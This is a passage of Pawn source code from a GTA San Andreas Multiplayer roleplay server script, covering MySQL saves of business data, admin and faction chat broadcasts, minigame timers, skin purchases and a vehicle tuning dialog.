mysql_format(handle, query,256,"UPDATE `bizzes` SET bPriceProd='%d' WHERE `id`='%d'",BizzInfo[bizid][bPriceProd],bizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `bizzes` SET bVW='%d' WHERE `id`='%d'",BizzInfo[bizid][bVW],bizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `bizzes` SET bForosh='%d' WHERE `id`='%d'",BizzInfo[bizid][bForosh],bizid);
mysql_function_query(handle,query,false,"SendQuery","");
return 1;
}
public OnSbizUpdate(sbizid)
{
new query[256];
mysql_format(handle, query,256,"UPDATE `specialbizzes` SET sbOwned='%d' WHERE `id`='%d'",SBizzInfo[sbizid][sbOwned],sbizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `specialbizzes` SET sbOwner='%e' WHERE `id`='%d'",SBizzInfo[sbizid][sbOwner],sbizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `specialbizzes` SET sbMessage='%e' WHERE `id`='%d'",SBizzInfo[sbizid][sbMessage],sbizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `specialbizzes` SET sbEntranceX='%.4f' WHERE `id`='%d'",SBizzInfo[sbizid][sbEntranceX],sbizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `specialbizzes` SET sbEntranceY='%.4f' WHERE `id`='%d'",SBizzInfo[sbizid][sbEntranceY],sbizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `specialbizzes` SET sbEntranceZ='%.4f' WHERE `id`='%d'",SBizzInfo[sbizid][sbEntranceZ],sbizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `specialbizzes` SET sbLevelNeeded='%d' WHERE `id`='%d'",SBizzInfo[sbizid][sbLevelNeeded],sbizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `specialbizzes` SET sbBuyPrice='%d' WHERE `id`='%d'",SBizzInfo[sbizid][sbBuyPrice],sbizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `specialbizzes` SET sbEntranceCost='%d' WHERE `id`='%d'",SBizzInfo[sbizid][sbEntranceCost],sbizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `specialbizzes` SET sbTill='%d' WHERE `id`='%d'",SBizzInfo[sbizid][sbTill],sbizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `specialbizzes` SET sbProducts='%d' WHERE `id`='%d'",SBizzInfo[sbizid][sbProducts],sbizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `specialbizzes` SET sbMaxProducts='%d' WHERE `id`='%d'",SBizzInfo[sbizid][sbMaxProducts],sbizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `specialbizzes` SET sbPriceProd='%d' WHERE `id`='%d'",SBizzInfo[sbizid][sbPriceProd],sbizid);
mysql_function_query(handle,query,false,"SendQuery","");
mysql_format(handle, query,256,"UPDATE `specialbizzes` SET sbForosh='%d' WHERE `id`='%d'",SBizzInfo[sbizid][sbForosh],sbizid);
mysql_function_query(handle,query,false,"SendQuery","");
return 1;
}

public BroadCast(color,const string[])
{
	SendClientMessageToAll(color, string);
	return 1;
}

public ABroadCast(color,const string[],level)
{
	new fnfs[144];
	format(fnfs, 144, "%s",string);
    WriteAdminLog(fnfs);
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && adminwp[i] == 1)
	   {
		  if (PlayerInfo[i][pAdmin] >= level)
		  {
			 SendClientMessage(i, color, string);

		  }
	   }
	}
	return 1;
}
stock ABroadCast2(color,const string[],level)
{
	WriteAdminLog(string);
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && adminwp[i] == 1)
	   {
		  if (PlayerInfo[i][pAdmin] >= level && MultiWarn[i] == 1)
		  {
			 SendClientMessage(i, color, string);

		  }
	   }
	}
	printf("%s", string);
	return 1;
}
public HBroadCast(color,const string[],level)
{
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && adminwp[i] == 1)
	   {
		  if ((PlayerInfo[i][pHelper] >= level) || (PlayerInfo[i][pHelper] == 0 && PlayerInfo[i][pAdmin] > 0))
		  {
			 //SendClientMessage(i, color, string);
			 SWM2(i, color, string);
		  }
	   }
	}
	printf("%s", string);
	return 1;
}
public OOCOff(color,const string[])
{
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i))
	   {
		  if(!gOoc[i])
		  {
			 //SendClientMessage(i, color, string);
			 SWM2(i, color, string);
		  }
	   }
	}
}

public OOCNews(color,const string[])
{
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i))
	   {
		  if(!gNews[i])
		  {
			 SWM2(i, color, string);
		  }
	   }
	}
}
public SendTeamMessage(team, color, string[])
{
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i) && gPlayerLogged[i] == 1)
	   {
		  if(gTeam[i] == team)
		  {
			 SWM(i, color, string);
				new recon[1024];
				format(recon, sizeof(recon), "[RECON] %s", string);
				SendClientMessage(Specer[i],  COLOR_RED, recon);
		  }
	   }
	}
}

public SendRadioMessage(member, color, string[])
{
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i) && gPlayerLogged[i] == 1)
	   {
		  if(PlayerInfo[i][pMember] == member || PlayerInfo[i][pLeader] == member)
		  {
			 SWM(i, color, string);
				new recon[1024];
				format(recon, sizeof(recon), "[RECON] %s", string);
				SendClientMessage(Specer[i],  COLOR_RED, recon);
		  }
	   }
	}
}

public SendJobMessage(job, color, string[])
{
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i) && gPlayerLogged[i] == 1)
	   {
		  if(PlayerInfo[i][pJob] == job)
		  {
		  if(JobDuty[i] == 1)
		  {
			 SendClientMessage(i, color, string);
		  }
	   }
	}
	}
}
/**
public SendClanMessage(clan, color, string[])
{
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i))
	   {
		  if(PlayerInfo[i][pClan] == 1)
		  {
			 if(!gFam[i])
			 {
				SendClientMessage(i, color, string);
			 }
	   }
		  if(PlayerInfo[i][pClan] == 2)
		  {
			 if(!gFam[i])
			 {
				SendClientMessage(i, color, string);
			 }
	   }
	}
	}
}*/
stock SendFamilyMessage(family, color, string[], string2[] = "")
{
	#pragma unused string2
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i) && gPlayerLogged[i] == 1)
	   {
		  if(PlayerInfo[i][pMember] == family || PlayerInfo[i][pLeader] == family)
		  {
			 if(!gFam[i])
			 {
				SWM(i, color, string);
					new recon[1024];
					format(recon, sizeof(recon), "[RECON] %s", string);
					SendClientMessage(Specer[i],  COLOR_RED, recon);
			 }
	   }
	}
	}
}
public SendClanMessage(clan, color, string[])
{
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i) && gPlayerLogged[i] == 1)
	   {
		  if(PlayerInfo[i][pClan] == clan)
		  {
			 if(!gFam[i])
			 {
				SWM(i, color, string);
					new recon[1024];
					format(recon, sizeof(recon), "[RECON] %s", string);
					SendClientMessage(Specer[i],  COLOR_RED, recon);
			 }
			}
	}
	}
}
forward SendWalkieMessage(freqs[], color, string[]);
public SendWalkieMessage(freqs[], color, string[])
{
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i))
	   {
		  if(!strcmp(PlayerSetFreq[i],freqs,true))
		  {
			 //SCM(i, color, string);
			 SWM(i, color, string);
				new recon[1024];
				format(recon, sizeof(recon), "[RECON] %s", string);
				SendClientMessage(Specer[i],  COLOR_RED, recon);
		  }
	   }
	}
}
//----------------------------------------------------------
//SplitSeconds(totalseconds, &minutes, &seconds)
//{
	//seconds = totalseconds;
	//while(seconds > 60) seconds-=60,minutes+=1;
//}
//----------------------------------------------------------
public SendTeamBeepMessage(team, color, const string[])
{
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i))
	   {
		  if(gTeam[i] == team)
		  {
			 SendClientMessage(i, color, string);
		  }
	   }
	}
}
public SendLeaderMessage(color, string[])
{
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i) && gPlayerLogged[i] == 1)
	   {
		  if(PlayerInfo[i][pLeader] >= 1 || PlayerInfo[i][pAdmin] >= 1)
		  {
			 //SendClientMessage(i, color, string);
			 SWM(i, color, string);
		  }
	   }
	}
}
stock SendLeadermMessage(color, string[])
{
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i))
	   {
		  if(PlayerInfo[i][pLeader] == 5)
		  {
			 SendClientMessage(i, color, string);
		  }
		  if(PlayerInfo[i][pLeader] == 6)
		  {
			 SendClientMessage(i, color, string);
		  }
		  if(PlayerInfo[i][pLeader] == 12)
		  {
			 SendClientMessage(i, color, string);
		  }
		  if(PlayerInfo[i][pLeader] == 13)
		  {
			 SendClientMessage(i, color, string);
		  }
		  if(PlayerInfo[i][pLeader] == 14)
		  {
			 SendClientMessage(i, color, string);
		  }
		  if(PlayerInfo[i][pLeader] == 15)
		  {
			 SendClientMessage(i, color, string);
		  }
		  if(PlayerInfo[i][pLeader] == 17)
		  {
			 SendClientMessage(i, color, string);
		  }
	   }
	}
}
/*
stock SendSolMessage(color, string[])
{
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i) && gPlayerLogged[i] == 1)
	   {
		  if(PlayerInfo[i][pLeader] == 21)
		  {
			 SendClientMessage(i, color, string);
				new recon[144];
				format(recon, sizeof(recon), "[RECON] %s", string);
				SendClientMessage(Specer[i],  COLOR_RED, recon);
		  }
	   }
	}
}
*/
/*
stock SendSolDMessage(color, string[])
{
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i) && gPlayerLogged[i] == 1)
	   {
		  if(PlayerInfo[i][pSoldier] != 0)
		  {
			 SendClientMessage(i, color, string);
				new recon[1024];
				format(recon, sizeof(recon), "[RECON] %s", string);
				SendClientMessage(Specer[i],  COLOR_RED, recon);
		  }
	   }
	}
}
*/
stock SendMemberMessage(color, string[])
{
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i) && gPlayerLogged[i] == 1)
	   {
		  if(PlayerInfo[i][pMember] == 5)
		  {
			 SendClientMessage(i, color, string);
				new recon[1024];
				format(recon, sizeof(recon), "[RECON] %s", string);
				SendClientMessage(Specer[i],  COLOR_RED, recon);
		  }
		  if(PlayerInfo[i][pMember] == 6)
		  {
			 SendClientMessage(i, color, string);
				new recon[1024];
				format(recon, sizeof(recon), "[RECON] %s", string);
				SendClientMessage(Specer[i],  COLOR_RED, recon);
		  }
		  if(PlayerInfo[i][pMember] == 12)
		  {
			 SendClientMessage(i, color, string);
				new recon[1024];
				format(recon, sizeof(recon), "[RECON] %s", string);
				SendClientMessage(Specer[i],  COLOR_RED, recon);
		  }
		  if(PlayerInfo[i][pMember] == 13)
		  {
			 SendClientMessage(i, color, string);
				new recon[1024];
				format(recon, sizeof(recon), "[RECON] %s", string);
				SendClientMessage(Specer[i],  COLOR_RED, recon);
		  }
		  if(PlayerInfo[i][pMember] == 14)
		  {
			 SendClientMessage(i, color, string);
				new recon[1024];
				format(recon, sizeof(recon), "[RECON] %s", string);
				SendClientMessage(Specer[i],  COLOR_RED, recon);
		  }
		  if(PlayerInfo[i][pMember] == 15)
		  {
			 SendClientMessage(i, color, string);
				new recon[1024];
				format(recon, sizeof(recon), "[RECON] %s", string);
				SendClientMessage(Specer[i],  COLOR_RED, recon);
		  }
			 if(PlayerInfo[i][pMember] == 17)
		  {
			 SendClientMessage(i, color, string);
				new recon[1024];
				format(recon, sizeof(recon), "[RECON] %s", string);
				SendClientMessage(Specer[i],  COLOR_RED, recon);
		  }
	   }
	}
}
public SendAdminMessage(color, string[])
{
	WriteAdminLog(string);
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && adminwp[i] == 1)
	   {
		  if(PlayerInfo[i][pAdmin] >= 1)
		  {
			 SendClientMessage(i, color, string);
		  }
	   }
	}
}
public SendEventMessage(color, string[])
{
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i) && gPlayerLogged[i] == 1)
	   {
		  if(i==SVEventHamkar||i==SVEventOrganizer)
		  {
			 SendClientMessage(i, color, string);
		  }
	   }
	}
}
public SendHackerMessage(color, string[])
{
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i) && gPlayerLogged[i] == 1)
	   {
		  if(PlayerInfo[i][pLeader] == 17 || PlayerInfo[i][pMember] == 17)
		  {
			 SendClientMessage(i, color, string);
		  }
	   }
	}
}
public SendAAAMessage(color, string[])
{
	WriteAdminLog(string);
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i) && gPlayerLogged[i] == 1)
	   {
		  if(PlayerInfo[i][pAdmin] >= 1 || PlayerInfo[i][pSponser] == 1)
		  {
			 SWM(i, color, string);
		  }
	   }
	}
}
public SendHAMessage(color, string[])
{
	WriteAdminLog(string);
    for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && adminwp[i] == 1)
	   {
		  if(PlayerInfo[i][pAdmin] >= 1 || PlayerInfo[i][pHelper] >= 1)
		  {
			 SendClientMessage(i, color, string);
		  }
	   }
	}
}
public SendAdminMMessage(color, string[])
{
	WriteAdminLog(string);
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && adminwp[i] == 1 && hstrm[i] == 0)
	   {
		  if(PlayerInfo[i][pAdmin] >= 1)
		  {
			 SusWordEX(i, color, string);
		  }
	   }
	}
}
public SendHAdminMessage(color, string[])
{
	WriteAdminLog(string);
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && adminwp[i] == 1)
	   {
		  if(PlayerInfo[i][pAdmin] >= 6 && PlayerInfo[i][pAdmin] != 7 && PlayerInfo[i][pAdmin] != 8 && PlayerInfo[i][pAdmin] != 9)
		  {
			 SWM(i, color, string);
		  }
	   }
	}
}
public SendHAdminMessage2(color, string[])
{
	WriteAdminLog(string);
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && adminwp[i] == 1)
	   {
		  if(PlayerInfo[i][pAdmin] >= 6)
		  {
			 SendClientMessage(i, color, string);
		  }
	   }
	}
}
public SendStaffMessage(color, string[])
{
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && adminwp[i] == 1)
	   {
		  if(PlayerInfo[i][pAdmin] >= 1 || PlayerInfo[i][pHelper] >= 1 && PlayerInfo[i][pLeader] >= 1)
		  {
			 SendClientMessage(i, color, string);
		  }
	   }
	}
}
public SendHelperMessage(color, string[])
{
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && adminwp[i] == 1)
	   {
		  if(PlayerInfo[i][pHelper] >= 1)
		  {
			 SendClientMessage(i, color, string);
		  }
	   }
	}
}
public SendAdminMessage2(color, string[])
{
	WriteAdminLog(string);
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && adminwp[i] == 1)
	   {
		  if(PlayerInfo[i][pAdmin] >= 1 && JoinWarn[i] == 1)
		  {
			 SendClientMessage(i, color, string);
		  }
	   }
	}
}
public SendAdminMessage3(color, string[])
{
	WriteAdminLog(string);
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && adminwp[i] == 1)
	   {
		  if(PlayerInfo[i][pAdmin] >= 1 && QuitWarn[i] == 1)
		  {
			 SendClientMessage(i, color, string);
		  }
	   }
	}
}
/*
public SendOwnerMessage(color, string[])
{
	for(new i = 0; i < MAX_PLAYERS; i++)
	{
		if(IsPlayerConnected(i))
		{
			if(PlayerInfo[i][pAdmin] < 1)
			{
				SendClientMessage(i, color, string);
			}
		}
	}
}*/
public PlayerPlayMusic(playerid)
{
	if(IsPlayerConnected(playerid))
	{
	   SetTimer("StopMusic", 5000, 0);
	   PlayerPlaySound(playerid, 1068, 0.0, 0.0, 0.0);
	}
}

public StopMusic()
{
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i))
	   {
		  PlayerPlaySound(i, 1069, 0.0, 0.0, 0.0);
		  PlayerFixRadio(i);
	   }
	}
}

public PlayerFixRadio(playerid)
{
	if(IsPlayerConnected(playerid) && CarRadioPlayed[playerid] == false)
	{
	   SetTimer("PlayerFixRadio2", 1000, 0);
	   Fixr[playerid] = 1;
	}
}

public PlayerFixRadio2()
{
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i))
	   {
		  if(Fixr[i])
		  {
			 PlayerPlaySound(i, 1069, 0.0, 0.0, 0.0);
			 Fixr[i] = 0;
		  }
	   }
	}
}
public BasketStart()
{

	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i))
	   {
		  if(InBasket[i] == 1)
		  {
				if(BasketPlayers < 2) {
				SendMessage(i, COLOR_LIGHTRED, "Error: BasketBall didnt start because players are less 2 players ...");
				TogglePlayerControllable(i, 1);
				InBasket[i] = 0;
				}
				else {
			 TogglePlayerControllable(i, 1);
				SendClientMessageToAll(COLOR_LIGHTRED, "Basket Ball Play Started ...");
//				BasketBallSv = 1;
				//TimeBasket = 300;
				SetTimer("TimerBasket", 300000, false);

				}
		  }
	   }
	}
}
public TimerBasket()
{

	for(new i = 0; i < Akharish; i++){
	if(InBasket[i] == 1) {
	new name[40];
	GetPlayerName(BasketLeader, name, sizeof(name));
	new string[512];
	format(string, sizeof(string), "BasketBall finished. Winner : %s with %i score", name, BasketScoreWin);
	SendMessage(i, COLOR_LIGHTRED, string);
//	BasketBallSv = 0;
	BasketPlayers = 0;
	BasketLeader = 9999;
	BasketScoreWin = 0;
	InBasket[i] = 0;
	BasketScore[i] = 0;
	}
	}
}
//=====DIALOGS==================================================================

public OnPlayerClickPlayer(playerid, clickedplayerid, source)
	{
	if(FCNPC_IsValid(playerid)) return 1;
		if(gPlayerLogged[playerid] == 0)
	   {
		  //SendMessage(playerid, COLOR_GREY, "   You havent logged in yet!");
		  return 1;
	   }
	   /*
	   //AFKCheckActiveAdad[playerid] = 0;
		new ttext[512];
		new checkhacker = 0;
		if(PlayerInfo[clickedplayerid][pMember] == 2 || PlayerInfo[clickedplayerid][pLeader] == 2) { ttext = "Federal Bureau of Investigation"; }
	   else if(PlayerInfo[clickedplayerid][pMember] == 1 || PlayerInfo[clickedplayerid][pLeader] == 1) { ttext = "Police Departament"; }
	   else if(PlayerInfo[clickedplayerid][pMember] == 3 || PlayerInfo[clickedplayerid][pLeader] == 3) { ttext = "National Guard"; }
	   else if(PlayerInfo[clickedplayerid][pMember] == 5 || PlayerInfo[clickedplayerid][pLeader] == 5) { ttext = "The Silence Mafia"; }
	   else if(PlayerInfo[clickedplayerid][pMember] == 6 || PlayerInfo[clickedplayerid][pLeader] == 6) { ttext = "The Killers Family"; }
	   else if(PlayerInfo[clickedplayerid][pMember] == 12 || PlayerInfo[clickedplayerid][pLeader] == 12) { ttext = "Dangerous Tiger Family"; }
	   else if(PlayerInfo[clickedplayerid][pMember] == 13 || PlayerInfo[clickedplayerid][pLeader] == 13) { ttext = "Legendary Men Family"; }
	   else if(PlayerInfo[clickedplayerid][pMember] == 14 || PlayerInfo[clickedplayerid][pLeader] == 14) { ttext = " Fast N Furious Family "; }
	   else if(PlayerInfo[clickedplayerid][pMember] == 15 || PlayerInfo[clickedplayerid][pLeader] == 15) { ttext = " Storm Men Family "; }
	   else if(PlayerInfo[clickedplayerid][pMember] == 7 || PlayerInfo[clickedplayerid][pLeader] == 7) { ttext = "Mayor"; }
	   else if(PlayerInfo[clickedplayerid][pMember] == 8 || PlayerInfo[clickedplayerid][pLeader] == 8) { ttext = "Hitman Agency"; }
	   else if(PlayerInfo[clickedplayerid][pMember] == 4 || PlayerInfo[clickedplayerid][pLeader] == 4) { ttext = "Firemen/Paramedic"; }
	   else if(PlayerInfo[clickedplayerid][pMember] == 9 || PlayerInfo[clickedplayerid][pLeader] == 9) { ttext = "News Reporter"; }
	   else if(PlayerInfo[clickedplayerid][pMember] == 10 || PlayerInfo[clickedplayerid][pLeader] == 10) { ttext = "Taxi Drivers"; }
	   else if(PlayerInfo[clickedplayerid][pMember] == 16 || PlayerInfo[clickedplayerid][pLeader] == 16) { ttext = "Tow Truck Company"; }
	   else if(PlayerInfo[clickedplayerid][pMember] == 11 || PlayerInfo[clickedplayerid][pLeader] == 11) { ttext = "School Instructor"; }
		else if(PlayerInfo[clickedplayerid][pMember] == 17 || PlayerInfo[clickedplayerid][pLeader] == 17) { ttext = "Unknowns"; checkhacker = 1;}
		else if(PlayerInfo[clickedplayerid][pMember] == 19 || PlayerInfo[clickedplayerid][pLeader] == 19) { ttext = "Top Boys Family"; }
		else if(PlayerInfo[clickedplayerid][pMember] == 20 || PlayerInfo[clickedplayerid][pLeader] == 20) { ttext = "San Fiero Police Department"; }
		//else if(PlayerInfo[clickedplayerid][pLeader] == 21 || PINFO[clickedplayerid][pSoldier] != 0) { ttext = "Soldier"; }
	   else { ttext = "Civilian"; }
	   if(checkhacker == 1) ttext = "Civilian";
		new rank[512];
		if(PlayerInfo[clickedplayerid][pRank] == 7) {rank = "Leader";}
		else if(PlayerInfo[clickedplayerid][pRank] == 6) {rank = "Sub Leader";}
		else if(PlayerInfo[clickedplayerid][pRank] == 5) {rank = "Rank 5";}
		else if(PlayerInfo[clickedplayerid][pRank] == 4) {rank = "Rank 4";}
		else if(PlayerInfo[clickedplayerid][pRank] == 3) {rank = "Rank 3";}
		else if(PlayerInfo[clickedplayerid][pRank] == 2) {rank = "Rank 2";}
		else if(PlayerInfo[clickedplayerid][pRank] == 1) {rank = "Rank 1";}
		else{rank = "None";}
		if(checkhacker == 1) rank = "None";
		clicked[playerid] = clickedplayerid;
		new ph = PlayerInfo[clickedplayerid][pPnumber];
		new pho[30];
		if(PINFO[playerid][pPhoneBook] == 0) {pho = "ERROR";}
		else {format(pho, sizeof(pho), "%i",ph);}
		new name[40];
		GetPlayerName(clickedplayerid, name, sizeof(name));

		new pin[1024];
		format(pin, sizeof(pin), "Name: %s\n Level: %d\n Faction: %s\n Rank: %s\n Phone Number: %s",name,PINFO[clickedplayerid][pLevel],ttext,rank,pho);
		ShowPlayerDialog(playerid, 2101, DIALOG_STYLE_MSGBOX, "Player Stats:",pin, "Control", "Cancel");
		*/
		return 1;
}
public OnPlayerModelSelection(playerid, response, listid, modelid)
{
if(FCNPC_IsValid(playerid)) return 1;
if(listid == objj) {
if(response) {
if(OnAddF[playerid] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: a proccess is running. please try again!")
Fur[playerid] = 1;
OnAddF[playerid] = 1;
SendMessage(playerid, COLOR_YELLOW, "Set object location.");
new Float:pos[3]; GetPlayerPos(playerid, pos[0], pos[1], pos[2]);
new vw = GetPlayerVirtualWorld(playerid);
new int = GetPlayerInterior(playerid);
objitx[playerid] = CreateDynamicObject(modelid, Float:pos[0], Float:pos[1], Float:pos[2], 0.0, 0.0, 0.0, vw, int, -1, 200.0, 0.0);
SetPlayerPos(playerid, pos[0], pos[1], pos[2]);
EditDynamicObject(playerid, objitx[playerid]);
Objet[playerid] = modelid;
return 1;
}
else {

}
}


   if(listid == skinlist)
	{
	   if(response)
	   {
		SendClientMessage(playerid, COLOR_YELLOW2, "Your skin was selected.");
			if(IsInFaction(playerid)) { PlayerInfo[playerid][fSkin] = modelid; SaveKonVal(playerid, "fSkin", modelid); }
			else { PlayerInfo[playerid][cSkin] = modelid; SaveKonVal(playerid, "cSkin", modelid); }
			PlayerPlaySound(playerid,5453,0.0,0.0,0.0);
			if(IsInFaction(playerid)) { SetPlayerSkin(playerid, PlayerInfo[playerid][fSkin]);}
			else { SetPlayerSkin(playerid, PINFO[playerid][cSkin]); }
			//PlayerTextDrawSetPreviewModel(playerid, SkinPreview[playerid], modelid);
		  //PlayerTextDrawShow(playerid, SkinPreview[playerid]);
		  new stringz[144];
		  format(stringz, 144, "[Admin-Warn]: {FFFFFF}Admin %s changed %s's skin model id to %d.", PINFO[playerid][pName], PINFO[playerid][pName], modelid);
			ABroadCast(COLOR_AdminWarn,stringz,1);
		}
	   return 1;
	}




   if(listid == skinxlist)
	{
	   if(response)
	   {
			new x=modelid;
			if(x==63||x==75||x==87||x==13||x==90||x==92||(x>=138&&x<=140)||x==145||x==178||(x>=243&&x<=246)||x==256||x==257)return Error(playerid, "Error: You can't use this skin.")
			if(!IsInFaction(playerid)){if(x==0||x==62||x==69||x==8||x==111||x==42||x==46||x==50||x==57||x==59||x==63||x==64||x==70||x==71||x==75||x==85||x==86||x==92||x==93||(x>=103&&x<=118)||(x>=120&&x<=127)||(x>=138&&x<=140)||x==145||x==149||x==152||x==153||(x>=163&&x<=166)||(x>=171&&x<=175)||x==176||(x>=185&&x<=188)||x==203||x==204||x==208||x==211||x==214||x==217||x==223||x==227||x==228||x==233||x==240||x==246||x==249||x==255||x==259||(x>=265&&x<=298)||(x>=300&&x<=311)
			||(x>=280&&x<=284)||x==288||x==306||(x>=163&&x<=166)||x==285||(x>=274&&x<=276)||x==279||x==70||x==308||(x>=121&&x<=123)||x==112||x==59||x==117||x==98||x==208||x==240||x==118||x==148||x==150||x==187||x==141||x==98||x==208||x==240||x==153||x==259||x==60||x==11||(x>=105&&x<=108)||(x>=269&&x<=271)||x==122||(x>=108&&x<=110)||x==195||(x>=102&&x<=104)||x==223||(x>=173&&x<=175)||x==114||x==116||x==214||x==50||x==225||x==42||x==120||x==233)
			{WhichSkinI[playerid]=modelid;BuySkinMenu(playerid, modelid);}else{SetPlayerSkin(playerid, modelid);PlayerInfo[playerid][cSkin] = modelid; SaveKonVal(playerid, "cSkin", modelid);SCM(playerid, COLOR_SINARANG, "Skin selected.");}return 1;}
		}
	   return 1;
	}




return 1;
}
public OnPlayerModelSelectionEx(playerid, response, extraid, modelid)
{
	if(extraid == 1)
	{
	    if(response)
	    {
		 SetPlayerSkin(playerid, modelid);
         PlayerInfo[playerid][fSkin] = modelid; SaveKonVal(playerid, "fSkin", modelid);
         SCM(playerid, COLOR_SINARANG, "Skin selected.");
		}
	}
	return 1;
}

function BuySkinMenu(playerid, skinid)
{
//WhichSkinI[playerid] = skinid;
new payout, strn[300], query[512];
if(skinid>=0&&skinid<=100){payout=2500;}
if(skinid>=101&&skinid<=200){payout=3500;}
if(skinid>=201){payout=4500;}
mysql_format(handle,query,sizeof(query),"SELECT * FROM `cskins` WHERE `pID`='%d' AND `pSkinID`='%d'", PINFO[playerid][pID], skinid);
new Cache:result=mysql_query(handle,query);
if(cache_num_rows()!=0){SetPlayerSkin(playerid, skinid);PlayerInfo[playerid][cSkin] = skinid; SaveKonVal(playerid, "cSkin", skinid);SCM(playerid, COLOR_SINARANG, "You bought this skin before. So you set this skin without paying again.");return cache_delete(result);}
cache_delete(result);
format(strn, sizeof(strn), "Are you sure you want to buy skin id %d for %s golds?", skinid, FormatNumber(payout));
ShowPlayerDialog(playerid, 6577, DIALOG_STYLE_MSGBOX, "Buy skin", strn, "Yes", "No");
return 1;
}
public OnDialogResponse(playerid, dialogid, response, listitem, inputtext[])
{




	switch( dialogid ) {
	    case dialog_TUNING: {
	        if( response ) {
	            if( !IsPlayerInAnyVehicle( playerid ) ) return SendErrorMessage( playerid, "You must be in a vehicle." );
	            if( GetPlayerState( playerid ) != PLAYER_STATE_DRIVER ) return SendErrorMessage( playerid, "You should be driver of this vehicle." );
				new vehicleid = GetPlayerVehicleID( playerid ), Float:Pos[ 6 ];

	            TPInfo[ playerid ][ tID ] = -1;

				switch( listitem ) {
	                case 0: {

						for( new i = 0; i < NUMBER_TYPE_PAINTJOB; i++ ) {
			                if( pjInfo[ i ][ vehID ] == GetVehicleModel( vehicleid ) ) {
				            	TPInfo[ playerid ][ tID ] = i;
								break;
							}
			           	}
						if( TPInfo[ playerid ][ tID ] == -1 ) return SendErrorMessage( playerid, "There isn't any compatible paintjobs for your vehicle model." );

						new pid = TPInfo[ playerid ][ tID ];
						TPInfo[ playerid ][ tPaintjob ] = true;

						GetVehicleColor( vehicleid, TPInfo[ playerid ][ PJColor ][ 0 ], TPInfo[ playerid ][ PJColor ][ 1 ] );

						TogglePlayerControllable( playerid, false );
	                    TuningTDControl( playerid, true );

                        ChangeVehicleColor( vehicleid, 1, 1 );
                        ChangeVehiclePaintjob( vehicleid, pjInfo[ pid ][ pNumber ] );

	                    format( globalstring, sizeof( globalstring ), "%s", pjInfo[ pid ][ pName ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 3 ], globalstring );
						format( globalstring, sizeof( globalstring ), "price: ~w~%d$", pjInfo[ pid ][ pPrice ] );
						PlayerTextDrawSetString( playerid, TuningBuy[ playerid ][ 4 ], globalstring );

						GetVehicleCameraPos( vehicleid, Pos[ 0 ], Pos[ 1 ], Pos[ 2 ], 4, 0, 5 );
